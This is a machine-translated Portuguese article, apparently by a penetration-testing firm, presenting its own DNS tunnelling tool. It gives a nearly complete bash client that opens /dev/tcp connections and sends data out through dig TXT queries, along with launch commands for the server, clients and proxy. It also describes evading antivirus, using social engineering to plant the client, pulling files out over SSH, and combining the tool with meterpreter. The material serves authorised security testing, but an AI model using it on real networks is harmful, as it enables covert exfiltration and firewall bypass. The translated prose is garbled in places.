
Oi Nos projetos de teste de penetração, geralmente encontramos redes segmentadas por hardware que são quase completamente isoladas do mundo externo. Às vezes, para resolver esse problema, é necessário encaminhar o tráfego através do único protocolo disponível - DNS. Neste artigo, mostraremos como resolver um problema semelhante em 2018 e quais são as armadilhas encontradas no processo. Os utilitários populares também serão revisados e um lançamento de seu próprio utilitário de código-fonte aberto será apresentado com recursos que geralmente não existem nas ferramentas similares existentes.
O que são túneis DNS
Já existem vários artigos sobre Habré que explicam o que é um tunelamento de DNS. No entanto, um pouco de teoria sobre o encapsulamento de DNS pode ser encontrado no spoiler.
O que é o encapsulamento de DNS?Acontece que o acesso à rede é fortemente cortado pelo firewall, e você precisa transferir os dados muito mal e, em seguida, a técnica de encapsulamento de DNS vem em socorro.
No diagrama, tudo se parece com isso:

As consultas para DNS, mesmo com as configurações de firewall mais rigorosas, às vezes ainda são aprovadas, e você pode usá-las respondendo-as no servidor localizado no outro lado. A comunicação será extremamente lenta, mas isso é suficiente para penetrar na rede local da organização ou, por exemplo, para acessar urgentemente a Internet via Wi-Fi pago no exterior.
O que é popular no momento
Agora, na Internet, você pode encontrar muitos utilitários para operar essa técnica - cada um com seus próprios recursos e bugs. Selecionamos os cinco mais populares para testes comparativos:
- dnscat2
- iodo
- dns2tcp
- Heyoka
- OzymanDNS
Você pode ler mais sobre como os testamos em nosso artigo sobre Hacker . Aqui damos apenas os resultados.

Como você pode ver nos resultados, você pode trabalhar, mas do ponto de vista dos testes de penetração, existem desvantagens:
- clientes compilados - em máquinas com antivírus, é muito mais fácil executar algo interpretado do que um arquivo binário;
- trabalho instável no Windows;
- a necessidade de instalar software adicional em alguns casos.
Devido a essas deficiências, precisávamos desenvolver nossa própria ferramenta, e foi assim que ...
Crie seu próprio utilitário de encapsulamento DNS
Antecedentes
Tudo começou durante o teste interno de um banco. No saguão havia um computador público usado para imprimir documentos, certificados e outros papéis. Nosso objetivo: obter o máximo benefício de uma máquina executando o Windows 7, ter o Kaspersky Anti-Virus integrado e permitir o acesso a apenas determinadas páginas (mas, ao mesmo tempo, era possível resolver os nomes DNS).
Após realizar a análise inicial e obter dados adicionais do carro, desenvolvemos vários vetores de ataque. Os caminhos com a operação da máquina usando programas binários foram imediatamente removidos para o lado, pois o "grande e terrível" "Kaspersky" detectou imediatamente o apagamento de um arquivo executável. No entanto, conseguimos a oportunidade de executar scripts em nome do administrador local, após o qual uma das idéias era apenas a possibilidade de criar um túnel DNS.
Procurando por métodos possíveis, encontramos um cliente no PowerShell para dnscat2 (escrevemos sobre isso anteriormente). Mas, no final, o máximo que conseguimos produzir foi estabelecer uma conexão por um curto período de tempo, após o qual o cliente travou.
Isso, para dizer o mínimo, nos incomodou bastante, pois nessa situação a presença de um cliente interpretado era simplesmente necessária. Na verdade, esse foi um dos motivos para o desenvolvimento de nossa própria ferramenta de encapsulamento de DNS.
Exigências
Nossos principais requisitos para nós mesmos são:
- a presença de clientes universais (na medida do possível) e interpretados para sistemas Unix e Windows. Para os clientes, bash e Powershell foram selecionados, respectivamente. No futuro, um cliente Perl para unix está planejado;
- a capacidade de encaminhar tráfego de um aplicativo específico;
- Suporte para vários clientes para um usuário.
Arquitetura do projeto
Com base nos requisitos, iniciamos o desenvolvimento. Em nossa opinião, o utilitário consiste em 3 partes: um cliente na máquina interna, um servidor DNS e um pequeno proxy entre o aplicativo pentester e o servidor DNS.

Para começar, decidimos encaminhar o túnel através dos registros TXT.
O princípio de operação é bastante simples:
- Pentester lança um servidor DNS.
- Um pentester (ou usuário, através da engenharia social) executa um cliente em uma máquina interna. No cliente, existem parâmetros como o nome e o domínio do cliente, além da possibilidade de especificar diretamente o endereço IP do servidor DNS.
- Um pentester (de uma rede externa) inicia um proxy, onde indica o endereço IP do servidor DNS, bem como a porta onde bater, os destinos IP (por exemplo, ssh na rede interna onde o cliente está sentado) e, consequentemente, a porta de destino. Também é necessário um ID do cliente, que pode ser obtido adicionando a chave
--clients
. - O Pentester inicia a aplicação de seu interesse, apontando a porta proxy para o host local.
Protocolo de comunicação
Considere um protocolo bastante simples para comunicação entre um servidor e um cliente.
Registo
Quando o cliente inicia, ele se registra no servidor, solicitando um registro TXT através de um subdomínio do seguinte formato:
0<7 random chars><client name>.<your domain>
0 - chave de registro
<7 random chars>
- para evitar o cache de registros DNS
<client name>
- o nome dado ao cliente na inicialização
<your domain>
- por exemplo: xakep.ru
Em caso de registro bem-sucedido, o cliente recebe uma mensagem de sucesso na resposta TXT, bem como o ID atribuído a ele, que ele continuará usando.
Ciclo principal
Após o registro, o cliente começa a consultar o servidor sobre a disponibilidade de novos dados no formato
1<7 random chars><id>.<your domain>
Se houver novos dados, na resposta TXT, eles serão recebidos no formato
<id><target ip>:<target port>:<data in base64>
, caso contrário, o <id>ND
é fornecido.
Ciclo de carregamento de dados
O cliente em um loop verifica se os dados vieram do nosso <target>
. Se houver uma resposta, lemos, do que chegou, um buffer de tamanho N Kb, divida-o em blocos de 250-<len_of_your_domain>-< >
e envie dados bloco por bloco no formato:
2<4randomchars><id><block_id>.<data>.<your_domain>
Se a transferência do bloco for bem-sucedida, ficaremos OK com alguns dados sobre o bloco transferido; no caso da conclusão da transferência do buffer, obteremos ENDBLOCK
.
Servidor DNS
O servidor DNS de encapsulamento foi escrito em Python3 usando a biblioteca dnslib, o que facilita a criação de seu próprio resolvedor DNS herdando o objeto dnslib.ProxyResolver e substituindo o método resolve ().
O excelente dnslib permite que você crie seu próprio proxyDNS muito rapidamente:
Um pouco de código do servidor class Resolver(ProxyResolver): def __init__(self, upstream): super().__init__(upstream, 53, 5) def resolve(self, request, handler):
Em resolve (), definimos as respostas às consultas DNS do cliente: registro, solicitação de novos registros, dados de postagem e exclusão do usuário.
Armazenamos informações sobre os usuários no banco de dados SQLite, a área de transferência de dados está localizada na RAM e possui a seguinte estrutura, na qual a chave é o número do cliente:
{ { "target_ip": "192.168.1.2", # IP “” - "target_port": "", # “” "socket": None, # "buffer": None, # "upstream_buffer": b'' # }, ... }
Para colocar os dados do pentester no buffer, escrevemos um pequeno "receptor", que é iniciado em um fluxo separado. Ele captura conexões do pentester e executa o roteamento: para qual cliente enviar solicitações.
Antes de iniciar o servidor, o usuário precisa definir apenas um parâmetro: DOMAIN_NAME - o nome do domínio com o qual o servidor funcionará.
Bash Client
O Bash foi escolhido para escrever um cliente para sistemas Unix, como costuma ser encontrado em sistemas Unix modernos. O Bash oferece a capacidade de conectar-se através de / dev / tcp /, mesmo com direitos de usuário não privilegiados.
Não analisaremos cada pedaço de código em detalhes, apenas daremos uma olhada nos pontos mais interessantes.
O princípio do cliente é simples. Para se comunicar com o DNS, o utilitário dig
padrão é usado. O cliente se registra no servidor, após o qual, no ciclo perpétuo, começa a atender solicitações usando o protocolo descrito anteriormente. Sob o spoiler mais.
Leia mais sobre o cliente BashUma verificação está em andamento para determinar se uma conexão foi estabelecida e, em caso afirmativo, a função de resposta é executada (lendo os dados recebidos do destino, dividindo e enviando para o servidor).
Depois disso, é verificado se há novos dados do servidor. Se forem encontrados, verificamos se a conexão deve ser interrompida. A diferença ocorre quando recebemos informações sobre o destino com ip 0.0.0.0 e porta 00. Nesse caso, limpamos o descritor de arquivo (se não estiver aberto, não haverá problemas) e alteramos o destino do ip para o 0.0.0.0 recebido.
Mais adiante, verificamos se é necessário estabelecer uma nova conexão. Assim que as seguintes mensagens começarem a nos enviar dados para o destino, nós, caso o ip anterior não corresponda ao atual (será assim após a redefinição), alteramos o destino para um novo e estabelecemos uma conexão através do comando exec 3<>/dev/tcp/$ip/$port
, onde $ip
é o destino, $port
é a porta de destino.
Como resultado, se a conexão já estiver estabelecida, os dados recebidos serão decodificados e voarão para o descritor por meio do comando echo -e -n ${data_array[2]} | base64 -d >&3
echo -e -n ${data_array[2]} | base64 -d >&3
, onde ${data_array[2]}
é o que obtemos do servidor.
while : do if [[ $is_set = 'SET' ]] then reply fi data=$(get_data $id) if [[ ${data:0:2} = $id ]] then if [[ ${data:2:2} = 'ND' ]] then sleep 0.1 else IFS=':' read -r -a data_array <<< $data data=${data_array[0]} is_id=${data:0:2} ip=${data:2} port=${data_array[1]} if [[ $is_id = $id ]] then if [[ $ip = '0.0.0.0' && $port = '00' ]] then exec 3<&- exec 3>&- is_set='NOTSET' echo "Connection OFF" last_ip=$ip fi if [[ $last_ip != $ip ]] then exec 3<>/dev/tcp/$ip/$port is_set='SET' echo "Connection ON" last_ip=$ip fi if [[ $is_set = 'SET' ]] then echo -e -n ${data_array[2]} | base64 -d >&3 fi fi fi fi done
Agora considere o envio da função de resposta. Primeiro, lemos 2048 bytes do descritor e os codificamos imediatamente através de $(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0
). Então, se a resposta estiver vazia, sairemos da função, caso contrário, iniciaremos a operação de divisão e envio. Observe que após a formação da solicitação de envio via dig, a entrega é verificada com êxito. Se for bem-sucedido, saia do ciclo ou tente até que ele funcione.
reply() { response=$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0) if [[ $response != '' ]] then debug_echo 'Got response from target server ' response_len=${#response} number_of_blocks=$(( ${response_len} / ${MESSAGE_LEN})) if [[ $(($response_len % $MESSAGE_LEN)) = 0 ]] then number_of_blocks-=1 fi debug_echo 'Sending message back...' point=0 for ((i=$number_of_blocks;i>=0;i--)) do blocks_data=${response:$point:$MESSAGE_LEN} if [[ ${#blocks_data} -gt 63 ]] then localpoint=0 while : do block=${blocks_data:localpoint:63} if [[ $block != '' ]] then dat+=$block. localpoint=$((localpoint + 63)) else break fi done blocks_data=$dat dat='' point=$((point + MESSAGE_LEN)) else blocks_data+=. fi while : do block=$(printf %03d $i) check_deliver=$(dig ${HOST} 2$(generate_random 4)$id$block.$blocks_data${DNS_DOMAIN} TXT | grep -oP '\"\K[^\"]+') if [[ $check_deliver = 'ENDBLOCK' ]] then debug_echo 'Message delivered!' break fi IFS=':' read -r -a check_deliver_array <<< $check_deliver deliver_data=${check_deliver_array[0]} block_check=${deliver_data:2} if [[ ${check_deliver_array[1]} = 'OK' ]] && [[ $((10#${deliver_data:2})) = $i ]] && [[ ${deliver_data:0:2} = $id ]] then break fi done done else debug_echo 'Empty message from target server, forward the next package ' fi }
Cliente Powershell:
Como precisávamos de interpretabilidade total e trabalhamos na maioria dos sistemas atuais, o cliente base para Windows é o utilitário nslookup padrão para comunicação via DNS e o objeto System.Net.Sockets.TcpClient para estabelecer uma conexão na rede interna.
Tudo também é muito simples. Cada iteração do loop é uma chamada ao comando nslookup usando o protocolo descrito anteriormente.
Por exemplo, para registrar, execute o comando:
$text = &nslookup -q=TXT $act$seed$clientname$Dot$domain $server 2>$null
Se ocorrerem erros, não os mostramos, enviando os valores do descritor de erro para $ null.
O nslookup nos retorna uma resposta semelhante:

Depois disso, precisamos esticar todas as linhas entre aspas, pelas quais passamos por elas com uma temporada regular:
$text = [regex]::Matches($text, '"(.*)"') | %{$_.groups[1].value} | %{$_ -replace '([ "\t]+)',$('') }
Agora você pode processar os comandos recebidos.
Sempre que o endereço IP da “vítima” é alterado, um cliente TCP é criado, uma conexão é estabelecida e a transferência de dados é iniciada. No servidor DNS, as informações são decodificadas em base64 e os bytes são enviados para a vítima. Se a “vítima” respondeu alguma coisa, então codificamos, dividimos em partes e executamos solicitações de pesquisa de acordo com o protocolo. Só isso.
Quando você pressiona Ctrl + C, uma solicitação para excluir o cliente é executada.
Proxy:
O proxy para o pentester é um pequeno servidor proxy em python3.

Nos parâmetros que você precisa especificar o IP do servidor DNS, a porta na qual se conectar ao servidor, a opção --clients retorna uma lista de clientes registrados, --target - target ip
, --target_port - target port
--target - target ip
, --target_port - target port
, --client
- id do cliente com o qual iremos trabalho (visto após a execução de --clients
), - --send_timeout
- timeout para enviar mensagens do aplicativo.
Quando iniciado com o parâmetro --clients
, o proxy envia uma solicitação ao servidor no formato \x00GETCLIENTS\n
.
No caso em que começamos o trabalho, ao conectar, enviamos uma mensagem no formato \x02RESET:client_id\n
para redefinir a conexão anterior. Depois de enviarmos informações sobre nosso destino: \x01client_id:ip:port:\n
Além disso, ao enviar mensagens para o cliente, enviamos bytes no formato \x03data
e simplesmente enviamos bytes brutos para o aplicativo.
Além disso, o proxy suporta o modo SOCKS5.
Que dificuldades podem surgir?
Como em qualquer mecanismo, o utilitário pode falhar. Não devemos esquecer que o túnel DNS é uma coisa fina e muitos fatores podem influenciar sua operação, desde a arquitetura da rede até a qualidade da conexão com o servidor de produção.
Durante o teste, ocasionalmente observamos pequenas falhas. Por exemplo, em altas velocidades de impressão, trabalhando com ssh, vale a pena definir o parâmetro --send_timeout
, pois caso contrário, o cliente começará a congelar. Além disso, às vezes a conexão pode não ser estabelecida na primeira vez, mas pode ser facilmente tratada reiniciando o proxy, pois a conexão será redefinida durante a nova conexão. Também houve problemas com a resolução do domínio ao trabalhar com proxychains, mas isso também é corrigível se você especificar um parâmetro adicional para proxychains. É importante notar que, no momento, o utilitário não controla a aparência de solicitações desnecessárias dos servidores DNS em cache, portanto, a conexão pode falhar algumas vezes; no entanto, isso é tratado novamente usando o método descrito acima.
Lançamento
Configure registros NS no domínio:

Aguardamos até que o cache seja atualizado (geralmente até 5 horas).
Iniciamos o servidor:
python3 ./server.py --domain oversec.ru
Inicie o cliente (Bash):
bash ./bash_client.sh -d oversec.ru -n TEST1
Iniciamos o cliente (Win):
PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2
Vamos ver a lista de clientes conectados:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --clients
Inicie o proxy:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --socks5 --localport 9090 --client 1
Teste:
Depois que o servidor e pelo menos um cliente foram iniciados, podemos acessar o proxy como se fosse nossa máquina remota.
Vamos tentar simular a seguinte situação: o pentester deseja baixar um arquivo do servidor da rede local da organização protegida pelo firewall, enquanto usava métodos de engenharia social, ele conseguiu forçar o cliente DNS a executar dentro da rede e descobrir a senha do servidor SSH.
O Pentester em sua máquina inicia um proxy, indicando o cliente necessário e pode fazer chamadas semelhantes que serão enviadas ao cliente e do cliente para a rede local.
scp -P9090 -C root@localhost:/root/dnserver.py test.kek
Vamos ver o que aconteceu:

No canto superior esquerdo, você pode ver as consultas DNS que chegam ao servidor, do canto superior direito - tráfego proxy, do canto inferior esquerdo - tráfego do cliente e do canto inferior direito - nosso aplicativo. A velocidade ficou bastante decente para o túnel DNS: 4.9Kb / s usando compactação.
Quando lançado sem compactação, o utilitário mostrou uma velocidade de 1,8 kb / s:

Vamos examinar atentamente o tráfego do servidor DNS, para isso usamos o utilitário tcpdump.
tcpdump -i eth0 udp port 53

Vemos que tudo está de acordo com o protocolo descrito: o cliente consulta constantemente o servidor se possui novos dados para esse cliente usando solicitações no formato 1c6Zx9Vi39.oversec.ru
. Se houver dados, o servidor responderá com um conjunto de registros TXT, caso contrário,% client_num% ND ( 39ND
). O cliente envia informações para o servidor usando os tipos de consultas 28sTx39003.MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc.2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n.Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY.0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru.
Nos vídeos a seguir, você pode ver claramente como o utilitário funciona em conjunto com o meterpreter e no modo SOCKS5.
O resultado:
Vamos resumir um pouco. Quais recursos esse desenvolvimento possui e por que recomendamos usá-lo?
- Clientes interpretados no Bash e no Powershell: nenhum EXE-shnikov e ELF-s que podem ser difíceis de executar.
- Estabilidade da conexão: nos testes, nosso utilitário se comportou muito mais estável e, se houver algum erro, você poderá reconectar, enquanto o cliente não travar, como foi o caso do dnscat2, por exemplo.
- Alta velocidade para o túnel DNS: é claro que a velocidade não atinge o iodo, mas existe uma solução compilada de nível muito mais baixo.
- Não são necessários direitos de administrador: o cliente Bash funciona sem direitos de administrador e, às vezes, os scripts do Powershell são proibidos pelas políticas de segurança, mas isso é bastante simples.
- Existe um modo proxy socks5, que permite fazer
curl -v --socks5 127.0.0.1:9011 https://ident.me
ou executar o nmap em toda a rede interna.
O código do utilitário está disponível aqui.